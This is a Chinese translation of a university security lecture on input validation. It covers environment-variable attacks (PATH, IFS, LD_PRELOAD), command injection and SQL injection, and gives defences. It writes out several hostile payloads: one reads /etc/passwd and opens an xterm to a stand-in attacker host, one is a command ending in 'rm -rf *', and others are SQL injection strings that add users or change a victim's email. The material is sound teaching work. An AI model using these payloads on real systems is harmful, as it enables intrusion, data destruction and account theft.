雪城大学信息安全讲义 六、输入校验

六、输入校验

原文：Input Validation

译者：飞龙

1 环境变量（隐藏的输入）

环境变量是隐藏的输入。它们存在并影响程序行为。在编程中忽略它们的存在可能导致安全隐患。

PATH

在 Shell 中运行命令时，Shell 会使用 PATH 环境变量搜索所有命令。

下面会发生什么呢？

system("mail");

攻击者可以将 PATH 修改成下面，并使当前目录下的

mail

执行。

PATH=".:$PATH"; export PATH

IFS

IFS 变量决定了哪个字符解释为空白字符。它代表了内部字符安分隔符。假设我们将其设置为包含斜杠字符：

IFS="/ \t\n"; export IFS
PATH=".:$PATH"; export PATH

现在从 Bourne shell（例如

system

或者

popen

系统调用）中，调用任何使用绝对 PATH 的程序。现在这会解释成下面的东西，尝试在用户的当前目录中执行叫做

bin

命令。

system("/bin/mail root");   --->  system(" bin mail root");

IFS 的 Bug 现在在 Shell 中漂亮地禁用了。

LD_LIBRARY_PATH

动态链接目录：在搜索动态库时，UNIX 系统会在由该环境变量提供的特定目录中搜索库。

几乎每个 UNIX 程序都依赖于

libc.so

，以及每个 Windows 程序都依赖于 DLL。如果这些库变成了木马，许多事情就会发生错误。

攻击者可以改变这个路径，并使程序加载攻击者的库。

setenv LD_LIBRARY_PATH /tmp:$LD_LIBRARY_PATH

或者用户当前目录

setenv  LD_LIBRARY_PATH .:$LD_LIBRARY_PATH

多数现代的 C 运行时库都修复了这个问题，通过当 EUID 不等于 UID，或者 EGID 不等于 GID 时，忽略

LD_LIBRARY_PATH

变量。

防护应用可以使用可信库静态链接来避免它。

在 Windows 的机制中，加载 DLL 时，通常在搜索系统目录之前，在当前目录中搜索 DLL。如果你点击了 Word 文档来启动 Office，包含文档的目录首先用于搜索 DLL。

LD_PRELOAD

许多 UNIX 系统允许你预加载共享库，通过设置环境变量

LD_PRELOAD

。这允许你做一些有趣的事情，比如将 C 标准库的函数或者甚至系统调用的 C 接口换成你自己的函数。

如果程序是 Set-UID 程序，现代的系统会忽略

LD_PRELOAD

。

% cc -o malloc_interposer.so -G -Kpic malloc_interposer.c
% setenv LD_PRELOAD $cwd/malloc_interposer.so

如何去掉环境变量？

extern char   **environ;
int main(int argc, char **argv) {
environ = 0;
}

上面的策略不一定对每个程序都起作用。例如，运行期间加载共享库需要

LD_LIBRARY_PATH

。

案例学习

vi

漏洞

行为：

(1)

vi file

(2) 保持打开但不保存

(3)

vi

调用了

expreserve

，它在保护区域保存缓冲区

(4)

expreserve

调用

mail

来向用户发送邮件

事实：

expreserve

是个 Set-UID 程序，

mail

使用 Root 权限调用。

expreserve

使用了

system("mail user")

或者

system("/bin/mail user")

。

expreserve

没有注意环境变量。

攻击：

修改了 PATH 和 IFS

IFS="/binal\t\n"

使

m

被调用，而不是

/bin/mail

。

2 进程属性

umask

值

它决定了新创建文件的默认权限

子进程从它的父进程继承该值

考虑这个场景：

一个 Set-UID 程序在

/tmp/tempfile

保存临时数据。这个文件的完整性十分重要。如果程序员假设 umask 值为 077，假设可能不成立。攻击者可以从自己的 Shell 中运行这个程序，Set-UID 会从 Shell 继承这个 umask 值。

如何防护它：显式设置 umask 值（使用

umask(077)

），或者显式设置新创建文件的权限（使用

chmod("newfile",0755)

。

内存转储

如果你的程序保存了敏感数据，例如未加密的密码，你应该禁止程序的内核转储。

如何禁用内和转储？

#include <sys/time.h>

#include <sys/resource.h>

#include <unistd.h>

int main(int argc, char **argv) {
struct rlimit   rlim;
getrlimit(RLIMIT_CORE, &rlim);
rlim.rlim_max = rlim.rlim_cur = 0;
if (setrlimit(RLIMIT_CORE, &rlim)) {
exit(-1);
}
...
return 0;
}

Solaris 默认（Solaris 8 开始）不允许 Set-UID 程序由于明显的安全原因的内核转储。

3 调用其它程序

安全地调用其它程序

如果 CGI 脚本这样做，会有什么潜在的问题？

// $Recipient contains email address provided by the user
//      using web forms.
system("/bin/mail", $Recipient);

$Recipient

可能包含 Shell 的特殊字符（

| & < >

）（命令注入）。

"attacker@hotmail.com < /etc/passwd;
export DISPLAY=proxy.attacker.org:0; /usr/X11R6/bin/xterm&;"

如果 CGI 脚本这样做，会有什么潜在的问题？

system("cat", "/var/stats/$username");

攻击者可以将用户名提交为

../../etc/passwd

（命令注入、路径遍历）。

如果 CGI 脚本这样做，会有什么潜在的问题？

sprintf(buf,"telnet %s",url);
system(buf);

如果 URL 是这种形式，也会做出回应（命令注入、栈溢出）。

host.example.com; rm -rf *

exec

函数、

system

和

popen

Exec 函数系列通过将当前进程影响包装成新的，来运行子进程。有许多 Exec 函数的版本，它们工作方式不同。它们可以归类于以下几种：

使用或者不使用 Shell 来启动子进程

通过 Shell（Shell 可以引入比我们预期的更多功能。要注意 Shell 是个强大的程序）处理命令行参数。

启动子进程涉及到依赖和属性继承的问题，我们已经看到它们存在问题。函数

execlp

和

execvp

使用 Shell 来启动程序。它们使程序的执行依赖当前用户的 Shell 配置。也就是依赖于 PATH 和其它环境变量的值。

execv

更安全，因为它并没有向代码引入这种依赖。

system(string)

调用将字符串传递给 Shell 来作为子进程执行（也就是作为单独派生的进程）。它是 Exec 函数的便利前端。

popen

的标准实现与之相似。这个函数打开到新进程的管道，以便执行命令，并且读取任何输出作为文件流。这个函数也会启动 Shell，来解释命令行字符串。

如何安全地调用程序？

避免任何调用 Shell 的东西。不要使用

system

，而是使用

execve

，它不调用 Shell，与

system

不同。

避免

execlp(file, ...)

和

execvp(file, ...)

，它们的语义与 Shell 类似。它们使用文件内存作为 Shell 的标准输入，如果文件不是有效的可执行目标文件。

要注意可能使用 Shell 实现的函数。

Perl 的

open

函数能够执行命令，并且通常通过 Shell 来实现。

4 SQL 注入

示例来源于 Steve Fried 的 Unixwiz.net Tech Tips: SQL Injection Attacks by Example。

SQL 注入是个利用 Web 应用的技巧，该应用在查询中使用客户端提供的数据，但是没有首先过滤掉潜在有害的字符。因此，Web 应用可能会执行非预期的 SQL 代码。

一些应用从 Web 表单获取用户输入，之后使用用户输入直接构造 SQL 语句。例如，下面的 SQL 查询使用

$EMAIL

的值构造，它直接由用户表单提交：

SELECT email, passwd, login_id, full_name
FROM table
WHERE email = '$EMAIL';

上面的应用当用户忘记密码时经常使用。它们只需要键入它们的邮件地址。如果邮件地址在数据库中（用户已注册），该邮件的密码会发到该邮件地址。这个例子中，SQL 注入攻击的目标是能够登入系统，而不需要是它的用户。

猜测字段名称：第一步就是猜测数据库的一些字段名称

下面猜测了字段名称

email

：

如果我们得到了服务器错误，就意味着我们的 SQL 格式错误，并且抛出了语法错误。最可能是由于错误的字段名称。如果我们得到了任何种类的有效回应，我们就正确猜测了名称。这里我们得到了

email unknown

或者

password was sent

回复。

SELECT fieldlist
FROM table
WHERE field = 'x' AND email IS NULL; --';

猜测表名称

与之相似，如果消息是

email unknown

或者

password was sent

，我们就知道我们的猜测是否正确。

SELECT email, passwd, login_id, full_name
FROM table
WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';

但是，上面只确认了

tabname

是否是有效名称，不一定是我们使用的名称，下面的语句有所帮助：

SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x' AND members.email IS NULL; --';

猜测用户的邮件地址：

$EMAIL = x' OR full_name LIKE '%Bob%

如果 SQL 语句执行成功，通常你会看到这样的消息：

We sent your password to <…>

，其中

<…>

是邮件地址，它的

fill_name

与

%Bob%

匹配（

%

是通配符）。

SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x' OR full_name LIKE '%Bob%';

爆破密码（在我们了解有效邮件地址之后）

SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'bob@example.com' AND passwd = 'hello123';

如果数据库不是只读的，我们可以尝试下面的东西来添加新用户：

末尾的

--

（注意空格，或者使用

#

）是 SQL 注释的开始。这是个有效的方式来去掉最后由应用提供的单引号，并且不会担心它们的匹配。

有一些挑战：

Web 表单可能没有像你提供足够的空间来键入整个字符串。

Web 应用的用户可能没有

members

表的

INSERT

权限。

应用可能不能正常表现，因为我们没有提供其它字段的值。

有效的

member

可能不仅仅需要

members

表的一行记录，也需要其它表的关联信息（例如

accessrights

），所以只向一个表添加可能不足够。

SELECT email, passwd, login_id, full_name
FROM members  WHERE email = 'x';
INSERT INTO members ('email','passwd','login_id','full_name')
VALUES ('xyz@hacker.net','hello','xyz','xyz Hacker');--';

修改现有用户的邮件地址

如果成功了，攻击者就能访问正常的

I lost my password

链接，键入更新后的邮件地址，并在邮件中收到 Bob 的密码。

SELECT email, passwd, login_id, full_name
FROM members  WHERE email = 'x';
UPDATE members
SET email = 'xyz@hacker.net'
WHERE email = 'bob@example.com';

如何防止 SQL 攻击？

过滤输入

配置错误报告：上面的攻击利用了由服务器返回的错误信息。通过不告诉用户 SQL 查询中实际的错误信息，可以使攻击者更加困难。例如，你可以只说

something is wrong

。

使用预定义参数，所以用户的输入仅仅被看做数据，引号、反斜杠和 SQL 注释记号不会产生影响，因为它们也仅仅被看做数据，并且不会解释为 SQL。看看下面的 Java 代码：

// Insecure version
Statement s = connection.createStatement();
ResultSet rs = s.executeQuery("SELECT email FROM member WHERE name = " + formField);
// Secure version
PreparedStatement ps =
connection.prepareStatement( "SELECT email FROM member WHERE name = ?");
ps.setString(1, formField);
ResultSet rs = ps.executeQuery();